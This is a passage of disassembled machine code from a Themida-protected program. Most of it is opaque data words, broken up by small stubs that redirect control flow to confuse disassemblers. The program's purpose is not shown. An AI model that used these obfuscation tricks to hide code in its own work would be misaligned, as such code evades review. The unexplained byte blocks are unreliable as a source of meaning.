		dd 0DE9h, 0EC3FC200h, 84429DDCh, 45F9629h, 0DB81283Ah
		dd 7FE85F42h, 8B04E8C1h, 0E2F766D9h, 0EE8h, 0A15D000h
		dd 1CA90BE1h, 0F4D7CD56h, 89B5B131h, 0D11C4995h, 81665F07h
		dd 2B8A9CEBh, 0CECB81C8h, 8B1A86BCh, 0E9FB8BD1h, 8Eh, 2161BD29h
		dd 858B07D1h, 5F4C4C44h, 7C083F8h, 341DB589h, 0C08307D1h
		dd 6800F00h, 23000000h,	0D13171BDh, 6890F07h, 89000000h
		dd 0D11C71BDh, 0FD03B07h, 1583h, 0FDBD8B00h, 0E907D118h
		dd 4Ah,	48C0Fh,	0BB660000h, 8D8BDFABh, 0FFFFFFFFh, 2F9D8D89h
		dd 0E18307D1h, 2B840F01h, 0E9000000h, 0Dh, 1C98C78Bh, 20B9C1F7h
		dd 0FA4476B1h, 0FFA5833Eh, 0FEFFFFFFh, 0DFCF8166h, 449589B9h
		dd 8B5F4C4Ch, 0E9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D92EA:				; CODE XREF: Themida_:005D91B3j
		lea	esi, [ebp+7D5AA7Bh]
		push	0
		push	esi
		call	sub_5D92FB
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D92FB	proc near		; CODE XREF: Themida_:005D92F3p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5D92FB	endp

; ---------------------------------------------------------------------------
		mov	ah, 0B4h
		mov	[ebp+7D11C39h],	edi
		push	0
		push	0
		push	edi
		call	sub_5D9320
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D9320	proc near		; CODE XREF: Themida_:005D9318p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5D9320	endp

; ---------------------------------------------------------------------------
		fld	dword ptr [ecx-4ACE09Dh]
		call	dword ptr [ebp+7D10055h]
		and	ebx, 5921CC17h
		mov	ecx, 11BAh
		push	0
		push	ebx
		call	sub_5D9352
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D9352	proc near		; CODE XREF: Themida_:005D934Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5D9352	endp

; ---------------------------------------------------------------------------
		dw 3525h
		dd 0F4B8C339h, 0FE9F9h,	0CE300000h, 0C74CF61Bh,	80692EC3h
		dd 0AEC4A064h, 0FCE1831Bh, 0BCBFFCF5h, 317DF48Eh, 0D1284D85h
		dd 0B807h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 94F932C3h, 0A780A2C4h, 0C7818222h
		dd 58ED1910h, 9589D22Bh, 7D13165h, 3465BD8Bh, 33AD07D1h
		dd 3E8D1C2h, 4E983D0h, 8166F475h, 605964C3h, 1B95BD8Bh
		dd 0F08107D1h, 2E3277Dh, 880D61h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 6424CCC3h
		dd 2947BF14h, 0BF667826h, 6E951DBh, 6B000000h, 7D04F832h
		dd 51958B0Eh, 6A07D11Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0FB4C353h, 8D8BDBBFh
		dd 7D12D55h, 108A0Fh, 8E80000h,	10000000h, 0F1DBAE5h, 0B3F543E3h
		dd 8B505BD2h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B2C35747h
		dd 492A26Eh, 7C9784Fh, 999D8BA3h, 8307D12Dh, 0D11BC5BDh
		dd 840F0007h, 78h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 2EC35646h, 0BD896FAAh, 7D101F1h, 0B8h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 766037BBh, 6F9F78A5h, 8D89473Eh,	7D1084Dh
		dd 4D0A8D8Dh, 0CE807D1h, 7D000000h, 44E773DFh, 0D321EA5h
		dd 3308C831h, 0D11BDDBDh, 0E1FF5F07h, 2F51BF66h, 1D39BD83h
		dd 0F0007D1h, 48884h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 942126E7h, 0EB812FCCh
		dd 0A7A3070h, 1D39BD83h, 0F0107D1h, 46F84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0A224E29Bh, 7C620020h, 39BD835Ch, 307D11Dh, 408860Fh
		dd 0E7810000h, 327616C2h, 11BD8B60h, 8A07D114h,	0D98C66FCh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0F8C35040h
		dd 0BD8B8174h, 7D12599h, 6A04E180h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0AF8C357h
		dd 0A9840FC9h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 1582C356h, 2D348DC4h
		dd 0BD8BD7FFh, 7D121C9h, 0EE9h,	0D80CB200h, 7BD13083h
		dd 3425DC14h, 8B0AF185h, 0D128F585h, 50006A07h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 7D62B365h
		dd 6850FCCh, 8B000000h,	0D11EE1BDh, 11BD2B07h, 3307D109h
		dd 0D131CD85h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 91B20CCCh, 40CAC4FCh
		dd 81567A54h, 3AD24FEFh, 66505F2Ch, 489DE8Bh, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0E5B6F62h, 0C7808C86h, 6A006AFFh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 9A0AC350h
		dd 0B18D0119h, 0E907D132h, 10h,	39D7B8ECh, 7147783Dh, 86E19FEAh
		dd 0A5F8092Dh, 0B3BC3968h, 0D4E4BBEEh, 4815982h, 6B47C624h
		dd 7E911h, 480A0000h, 537775E8h, 1595FF93h, 6A07D12Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 3D02C351h, 62356433h, 35E8E781h, 10E84F9Dh
		dd 5F000000h, 0DA4E0E33h, 8BC547FCh, 582FF72h, 5BCED6CEh
		dd 0EA5A8589h, 88E907D4h, 0F000001h, 1682h, 10E800h, 10840000h
		dd 0EF563E9Ch, 1D3B703Ch, 0C0475186h, 0F5FA4FDh, 0F86h
		dd 0AE900h, 24DC0000h, 0B9092CF4h, 0F0771C18h, 0EA52858Bh
		dd 0D88B07D4h, 1800C7h,	9E90000h, 78000000h, 9C671254h
		dd 77DB67E7h, 0EA56B58Bh, 816607D4h, 8B5ACCC7h,	0D10C9D85h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 89C692E4h, 65BD0306h, 8B07D119h,	0D128F585h
		dd 6B1DBB07h, 46892595h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 70A8B3Dh, 56A0866Ah, 0EE95069h
		dd 94000000h, 0DC938B84h, 656B77Ah, 0E11756D6h,	2434898Eh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 4C35646h
		dd 4AA79858h, 0BBA30B33h, 5AE4E8C2h, 0EA52B5FFh, 0D98A07D4h
		dd 0C5B60668h, 4840FE3h, 66000000h, 814339BFh, 4DF92404h
		dd 880F1C59h, 2, 858DDA8Bh, 7D4EA5Ah, 25C19D89h, 0E99007D1h
		dd 0Dh,	0A3FF59CDh, 0D3F4691Ah,	5B45390Fh, 5250502Ch, 0FFB8B66h
		dd 0F88B6631h, 0F90585Ah, 0BD8BFAB7h, 7D12BFDh,	2B1595FFh
		dd 6A07D1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0F861EC3h, 68Eh, 0ADBD8900h, 0F07D133h, 28Eh
		dd 61FD8A00h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Ah,	58C35343h, 2A857FC2h, 0B70FB225h, 35B589DFh, 0C707D132h
		dd 0D11D3985h, 307h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0C602BCC0h, 29EFAE10h
		dd 0D10EE995h, 5ABD8307h, 7D4EAh, 40840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0A0C0F4C3h, 8589E200h, 7D11EF5h, 299D9D8Bh, 2AE907D1h
		dd 0E8000000h, 9, 7A6D2E3Fh, 43E152FEh,	30505BF3h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 42815648h, 60763400h, 77D8D89h, 816607D1h, 619D9CEFh
		dd 22199D8Bh, 6E907D1h,	0D3000000h, 9EA90D3Ah, 0DD95893Ch
		dd 0F07D12Eh, 1483h, 0CE800h, 3A0E0000h, 35747CBAh, 0DB1B7972h
		dd 5F560D1Bh, 39BD835Fh, 307D11Dh, 475850Fh, 0BD8B0000h
		dd 7D10195h, 0EA5ABD83h, 0F0007D4h, 46284h, 39852900h
		dd 0FF07D114h, 0D4EA5AB5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 95FFFCA7h
		dd 7D12EB1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	31C35545h, 0B58BF5ECh, 7D4EA4Eh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 0EBC35343h, 1E36B3F9h
		dd 8F0F9C9Dh, 6, 31299D8Bh, 6C707D1h, 10001h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 5EC35040h, 96DBBF0Fh
		dd 0A1FFBF66h, 96DC8A50h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 7CC35343h, 0DF1734BFh, 29FA616Dh, 39BB667Ch
		dd 5AB5FF97h, 0E907D4EAh, 12h, 75B0A53Eh, 2CD634Fh, 2C4657EDh
		dd 0D0624C43h
		dd 95FF2C44h, 7D131A5h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0C5C35747h, 0E006C88Fh, 0E98E78FEh, 6
		dd 560D69A5h, 0B58BF07Ch, 7D4EA4Eh, 44EF0DBFh, 31858B29h
		dd 0E907D12Bh, 0Ch, 0EE5FE02Dh,	3751D61Bh, 0E5533126h
		dd 0C48689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 818E1EC3h, 9783CD4Ah, 0FB8B6635h
		dd 1B51958Bh, 6A07D1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 601E6BC3h, 1F2DBD8Bh, 9D0307D1h
		dd 7D128A1h, 4C28361h, 4840FF5h, 66000000h, 890EE0BFh
		dd 6A2050h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 4D4A01C3h, 9230EE52h, 66F9CB80h, 858DFE8Bh
		dd 7D4FEE5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	33C35545h, 8689CC7Fh, 0B8h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0AAC35545h,	0C78C25A4h, 0DDE4D183h
		dd 0DE9B3h, 0E50E0000h,	0C459F0A8h, 1F07F551h, 0B7E656D7h
		dd 0B800F60h, 0E9000000h, 6, 0DCA7FA7Fh, 6A0FCEh, 5CDB589h
		dd 0B5FF07D1h, 7D4EA5Ah, 3131BD8Bh, 95FF07D1h, 7D11DE9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0DDC35545h
		dd 46E8E306h, 979262Fh,	0D105F99Dh, 3FBF9607h, 5062F1B9h
		dd 3C4EBB60h, 8B665F56h, 6A9661D8h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 574CC353h
		dd 9E0DA12Fh, 8AEB5738h, 5AB5FFFDh, 6A07D4EAh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0F2F1C352h, 0EC499EACh, 939B3B46h, 95FFFA8Bh, 7D12D9Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0EAC35646h
		dd 0E9D4E3D2h, 457B50C8h, 15659529h, 8E807D1h, 5E000000h
		dd 0F109F4EFh, 89D245C6h, 0D100CDB5h, 0BD8B5B07h, 7D131A9h
		dd 2809BD83h, 0F0007D1h, 4684h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 21BD891Fh
		dd 6607D11Eh, 0E950FB8Bh, 12h, 0F31FC306h, 6F06D1F5h, 9798287Fh
		dd 0A7423EF0h, 3489C354h, 0B9BD8924h, 0FF07D117h, 0D4EA5AB5h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0A402FA40h, 0BFAA753Dh, 38396511h, 0F0EF8166h
		dd 0B595FF31h, 8A07D132h, 5AB5FFD8h, 0E907D4EAh, 0Bh, 0AB64196Bh
		dd 1D31A8ECh, 0FFBE5474h, 0D1270995h, 9DB52907h, 2907D118h
		dd 0D1256585h, 0C1BD8307h, 207D10Fh, 3E840Fh, 9D290000h
		dd 7D118FDh, 1E25858Bh,	6A07D1h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 276783C3h, 0E72C2AB2h
		dd 66A8BDB7h, 0C6B0EABBh, 0BD8B0000h, 7D1284Dh,	22CD85C7h
		dd 7D1h, 8D090000h, 7D12BADh, 58E0Fh, 0E6BB0000h, 0E95B0954h
		dd 0FFFFF292h, 12E9h, 77158700h, 4A1EEDF3h, 0BFE176D4h
		dd 0A397B143h, 8BB296F2h, 56006AC1h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 9989FAC1h
		dd 68AC2494h, 0EE916h, 8420000h, 0B3CE9839h, 99055F9Dh
		dd 511DFC18h, 1361858Dh, 6A07D1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 8E35E8C3h, 50507DAEh
		dd 0F8BF5250h, 0F526FB6h, 0F525031h, 5A585A31h,	4895F58h
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0C4FA4AFCh, 0FF88FFB8h, 0DA8B7CD8h, 0BD8B006Ah
		dd 7D12171h, 8B66006Ah,	14E9DAh, 918C0000h, 703FC36h, 0EA4658Dh
		dd 907C7639h, 4A4A6CB7h, 858D2E58h, 7D63AB6h, 42DF8166h
		dd 5C08311h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0BAC35242h, 7BBC67F2h, 0BD0BD911h, 7D11621h, 8E990h
		dd 0EF540000h, 533DE28Ah, 0BB508111h, 16B834BAh, 35BD8B90h
		dd 6A07D12Bh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 6E55AD90h, 0DAB70F43h, 0FE9h, 9FFA0700h
		dd 6B1E1CF1h, 0D2703D81h, 0A7EB4EC1h, 6A006Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0D7A12C3h, 7289E569h, 899D3165h, 8B07D105h, 0D12699BDh
		dd 0E195FF07h, 8B07D11Dh, 0D12031BDh, 668D8D07h, 6607D4D5h
		dd 0D1FFFB8Bh, 0C0E38166h, 15BD8313h, 107D117h,	5E850Fh
		dd 0BE90000h, 0F8000000h, 1150FE88h, 548BE7C0h,	8B66B287h
		dd 6A026ADEh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0F2EAC350h, 4F4F9137h,	6660909Dh
		dd 5061F18Bh, 0E890Fh, 52500000h, 33D1BF66h, 0BB66310Fh
		dd 585AE8B0h, 8B665190h, 95FF5BF8h, 7D11DE9h, 0DE2E9h
		dd 0E800h, 815D0000h, 0D63AC0EDh, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0D9BF0FBDh
		dd 20B59D89h, 6A07D1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 380415C3h, 0B58979CDh, 7D113D9h
		dd 0BC77858Dh, 8D3107D4h, 7D11E79h, 0DE46BF90h,	90504BA0h
		dd 0F41B589h, 0FF6407D1h, 35h, 25896400h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5DA183
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DA183	proc near		; CODE XREF: Themida_:005DA17Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5DA183	endp

; ---------------------------------------------------------------------------
		db 4Eh
		dd 98C45ADFh, 0FE973h, 0B2250000h, 9A837A10h, 0DA116A78h
		dd 0AC40B2F5h, 0DEB70F04h, 292185FFh, 0E78107D1h, 2A9E96D4h
		dd 0FF6AFE8Bh, 418589h,	0B5FF07D1h, 7D128A5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 7BC35747h, 0F66CA3F9h
		dd 4421D9Fh, 9199D8Bh, 95FF07D1h, 7D1141Dh, 15DE9h, 118B0F00h
		dd 0E9000000h, 0Ch, 567EF4AEh, 0A55A762Fh, 0D05BC954h
		dd 0AE800B0h, 0B8000000h, 874B80D6h, 4E937DF3h,	5FB2B7C5h
		dd 0D2B70F60h, 2850Fh, 61600000h, 0E470E661h, 14E871h
		dd 78570000h, 0DFD10C81h, 0A5594367h, 8510C311h, 4D31F885h
		dd 9589CC47h, 7D12305h,	0F613C5Fh, 0F983h, 4D9D2B00h, 0F07D10Ch
		dd 0A4B7C8B6h, 6870Fh, 8D290000h, 7D118F1h, 6BAh, 0B99D8900h
		dd 8B07D118h, 0BE6660C1h, 0C1616C65h, 0BB6604E8h, 0F766BC5Ch
		dd 2DBD89E2h, 2B07D10Ch, 0FBD381C8h, 8B3ACB3Fh,	11E9D1h
		dd 8CA10000h, 0A6E3C483h, 0C0696E1Bh, 2C02B2CFh, 0E9FBCF7Fh
		dd 9Ah,	0D8C0F56h, 0E9000000h, 8, 0DD5BF4D1h, 65B79F10h
		dd 50858B5Bh, 0E847554Ch, 0Bh, 0F458B092h, 3AC88370h, 5F2A73B4h
		dd 6607C083h, 831C6EBFh, 8E0F00C0h, 2, 0D03BDF8Bh, 19830Fh
		dd 0BF0F0000h, 4CE9DFh,	66530000h, 5FE58BBFh, 6E9h, 3C17CB00h
		dd 8BFB93D8h, 0FFFFFF8Dh, 0A99589FFh, 8307D131h, 840F01E1h
		dd 26h,	2800Fh,	0F0B70000h, 0FFFFA583h,	89FEFFFFh, 0D11BA585h
		dd 50958907h, 5747554Ch, 0D9DDBB66h, 0E95Bh, 0B58D0000h
		dd 7D5BC35h, 66006AF8h,	95FFFE8Bh, 7D10055h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 29C35040h, 5BB9FE8Bh
		dd 6A00000Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 44F1C355h, 6BD8A4FFh, 9D8B172Bh
		dd 7D10C21h, 2961BD8Bh,	0E18307D1h, 51006AFCh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0BD8BFC19h
		dd 7D11621h, 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0BF2E61C3h, 0CA07AA76h, 5E9A1h
		dd 0C2CF0000h, 2BDB709Ch, 59D8BD2h, 8B07D116h, 0D125DDBDh
		dd 0C233AD07h, 0D003E8D1h, 7504E983h, 55006AF4h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 6A1B4Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 531F63C3h, 0D9BD8BFBh, 0F07D108h,	680h, 79953100h
		dd 0D07D119h, 88h, 32A1BD8Bh, 958B07D1h, 7D11B51h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 4AC35545h, 66AF052Dh
		dd 0EBCFDB81h, 2D558D8Bh, 6A07D1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 4DA328C3h, 0BD8BE591h
		dd 7D1007Dh, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 0B5895818h, 7D130E1h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 6AC35545h, 113B6469h,	2AC9BD8Bh, 0BD8307D1h
		dd 7D11BC5h, 7F840F00h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0BEBEC351h
		dd 4D77EFD7h, 0E780A43Dh, 0CFDB812Fh, 0B8350544h, 0
; ---------------------------------------------------------------------------
		jge	loc_5DA564
		mov	edi, ecx


loc_5DA564:				; CODE XREF: Themida_:005DA55Cj
		lea	ecx, [ebp+7D14D0Ah]
		push	0
		push	esi
		call	sub_5DA575
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DA575	proc near		; CODE XREF: Themida_:005DA56Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5DA575	endp

; ---------------------------------------------------------------------------
		db 0E6h, 8Fh, 0E3h
; ---------------------------------------------------------------------------
		jmp	ecx
; ---------------------------------------------------------------------------
		dw 14E8h
		dd 0BD000000h, 0EE6784F0h, 0B0889AF3h, 0D7CC9CDEh, 0ECEC6F7Dh
		dd 8B7D97FBh, 0D120499Dh, 0BD835B07h, 7D11D39h,	0AB840F00h
		dd 6A000004h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 896AC350h, 0D1293D9Dh,	39BD8307h
		dd 107D11Dh, 497840Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 9193CEC3h, 93DE7173h
		dd 0BE9h, 0D3064D00h, 0F75E8B01h, 76969EC3h, 39BD83FCh
		dd 307D11Dh, 421860Fh, 0DF810000h, 2AFF06F4h, 52006A60h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 1FF5F955h, 15E92B35h, 0FD852999h, 6607D11Fh,	8F0FD98Ch
		dd 0
; ---------------------------------------------------------------------------
		and	cl, 4
		push	0
		push	ebp
		call	sub_5DA66E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DA66E	proc near		; CODE XREF: Themida_:005DA666p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5DA66E	endp

; ---------------------------------------------------------------------------
		dw 93Eh
		dd 0EAA7F8EBh, 840FC90Ah, 0F8h,	2D59BD8Bh, 810F07D1h, 6
		dd 13659D29h, 858B07D1h, 7D128F5h, 15ED9D8Bh, 853307D1h
		dd 7D131CDh, 70D8501h, 515007D1h, 6890Fh, 52500000h, 585A310Fh
		dd 2404895Fh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 15h,	73C35242h, 6D9D8919h, 6A07D128h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 8D895743h, 7D11F71h,	9758FC68h, 81FA8B44h, 5B032434h
		dd 6A4488h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 40884AC3h, 0E7641522h, 95897B3Fh,	7D10249h
		dd 2B1595FFh, 9D3107D1h, 7D12465h, 0EA5A8589h, 6A07D4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0D381BCC3h, 473B17C3h, 238E9h, 32CB8000h, 0EA52858Bh
		dd 6A07D4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0EF817EC3h, 390C739h, 1800C7h, 0B58B0000h
		dd 7D4EA56h, 16599D89h,	858B07D1h, 7D10C9Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 46C35545h, 0EBBF66CEh
		dd 0E9B589CBh, 8907D117h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0BF664CFCh
		dd 858B57D7h, 7D128F5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 90C35040h, 0E7B292F8h, 0CD7DBB2Dh, 9E934BEh
		dd 0D3000000h, 0BA35AC7Fh, 0B823F3CDh, 6A044689h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0E838C355h, 7, 90FC5D66h, 81549F37h,	0C24317C7h, 89505B08h
		dd 89602434h, 0D12C1DB5h, 0FF61F807h, 0D4EA52B5h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 76DF5AF0h, 0BF66538Ah, 4E8FFAFh, 0FF000000h,	53001F03h
		dd 5BF98B66h, 64BB6650h, 24448BBCh, 0F008B04h, 1E86h, 12E800h
		dd 0CB300000h, 6D6FA4A4h, 428362F1h, 0E3328CFAh, 42B54274h
		dd 840Fh, 895F0000h, 66042444h,	58411BBFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 6CC35343h, 709718CAh
		dd 1624960Ch, 14E91Eh, 970C0000h, 0ABBE2A94h, 0EB75848Eh
		dd 0BE425FE4h, 8D741473h, 858D89E4h, 7D4EA5Ah, 6E9h, 0F4555300h
		dd 507AFCBFh, 89DA8B66h, 6A2404h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 30DBD2C3h, 26A27AF9h
		dd 0CB81E1F6h, 5224325Ah, 2B1595FFh, 6A07D1h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0E87D49C3h
		dd 0Eh,	0F246955Dh, 0F1C7DA1Bh,	31BC2554h, 9529D169h, 7D108ADh
		dd 33BF665Fh, 6A6139h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 7AA206C3h, 21399D8Bh, 9D8B07D1h
		dd 7D113E5h, 1D3985C7h,	307D1h,	0B5010000h, 7D10199h, 0EA5ABD83h
		dd 0F0007D4h, 4684h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0BA526115h, 5F577A24h
		dd 39E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 5030E94Ch, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0CB81C08Bh, 3738B6C2h, 0BD83D7B3h
		dd 7D11D39h, 1A850F03h,	66000004h, 6C16CF81h, 0EA5ABD83h
		dd 0F0007D4h, 40884h, 0D3816600h, 0B5FF990Ch, 7D4EA5Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0F3C35242h
		dd 1E0D2111h, 7B0A076Ah, 12E957h, 53B70000h, 0AA5F7CD3h
		dd 7E824E26h, 9D141AD4h, 0C571088Ah, 2EB195FFh,	6A07D1h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0D4A7C2C3h, 0BCEDF91Dh, 0E96095B9h, 0Dh, 2C23C7ECh
		dd 5665C78Eh, 2CC42E64h, 118589B9h, 6107D109h, 0EA4EB58Bh
		dd 6A07D4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 542DF3C3h, 0F3152BF1h, 81BD8B8Bh,	907D12Ch
		dd 0D1255D95h, 106C707h, 0E9000100h, 5,	0CAC5A4CAh, 8A0F50E7h
		dd 3, 89FE8B66h, 6A2434h, 3E851h, 59200000h, 4C8959C3h
